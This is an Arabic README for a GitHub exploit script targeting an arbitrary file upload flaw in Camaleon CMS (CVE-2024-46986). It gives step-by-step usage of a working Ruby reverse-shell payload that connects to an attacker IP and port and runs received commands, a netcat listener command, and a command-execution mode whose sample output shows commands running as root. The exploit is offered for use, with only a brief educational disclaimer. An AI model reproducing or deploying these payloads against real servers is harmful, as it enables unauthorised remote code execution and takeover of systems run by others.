
استغلال بايثون آلي لثغرة رفع الملفات العشوائية في Camaleon CMS (CVE-2024-46986). يدعم حمولات الشل العكسي وتنفيذ الأوامر لتنفيذ التعليمات البرمجية عن بُعد مصادق عليه.
يحتوي هذا المستودع على سكربت بايثون يقوم بأتمتة استغلال ثغرة رفع الملفات في Camaleon CMS. تسمح هذه الثغرة للمهاجم برفع ملفات تعسفية (مثل سكربتات Ruby) إلى الخادم، مما قد يؤدي إلى تنفيذ كود عن بُعد (RCE) أو تأثيرات أمنية خطيرة أخرى.
requests في بايثون.بيانات اعتماد مستخدم صالحة: يلزم وجود جلسة مصادقة لكي يعمل الاستغلال. تحتاج إلى auth_token و _cms_session لمستخدم صالح.
Python 3.x: تأكد من تثبيت Python 3.x.
مكتبة في بايثون: قم بتثبيت مكتبة إذا لم تكن مثبتة بالفعل.
requestsrequestspip install requests
استنساخ المستودع:
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
استبدل القيم المؤقتة your_auth_token_here و your_session_token_here و https://target_site_here في سكربت بايثون بالقيم الفعلية.
إذا كنت تستخدم حمولة القشرة العكسية، فاستبدل أيضاً your_ip و your_port بعنوان IP الخاص بك والمنفذ الذي ستقوم بإعداد مستمع عليه.
القشرة العكسية: لرفع قشرة عكسية، عيّن متغير payload_type في السكربت إلى "reverse_shell".
تنفيذ الأوامر: لرفع سكربت ينفذ أوامر النظام، عيّن payload_type إلى "command_execution". ستتمكن من إدخال أوامر بشكل متكرر لتنفيذها على الخادم المستهدف.
bash
python exploit_camaleon.py
إذا كنت تستخدم حمولة تنفيذ الأوامر، يمكنك إدخال أوامر متعددة:
bash
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
أنواع الحمولات
تُنشئ حمولة القشرة العكسية اتصالاً عكسياً بجهاز المهاجم، مما يسمح بتنفيذ كود عن بُعد على الخادم.
قم بتعديل عنوان IP والمنفذ في سكربت Ruby داخل كود بايثون.
مثال على الحمولة:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
قم بإعداد مستمع على جهازك باستخدام netcat:
bash
nc -lvnp <your_port>
2. تنفيذ الأوامر
تقوم هذه الحمولة برفع سكربت Ruby ينفذ أوامر النظام (مثل whoami) على الخادم. يمكنك إدخال أوامر بشكل متكرر أثناء التنفيذ.
سيواصل السكربت طلب الأوامر حتى تكتب exit.
مثال:
ruby
system("whoami")
مثال على استغلال ناجح
بمجرد تنفيذ الاستغلال بنجاح، يجب أن تشاهد مخرجات في الطرفية تشير إلى النجاح:
python
Exploit executed successfully with payload type: reverse_shell!
إذا كنت تستخدم القشرة العكسية، يجب أن يمنحك مستمع netcat إمكانية الوصول إلى قشرة الخادم المخترق.
بالنسبة لحمولة تنفيذ الأوامر:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
هذا السكربت مخصص للأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا الاستغلال. تأكد دائمًا من حصولك على إذن قبل اختبار أو استغلال الثغرات. المساهمة
لا تتردد في فتح المشكلات (issues) أو تقديم طلبات السحب (pull requests) للتحسينات أو الميزات الإضافية!
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.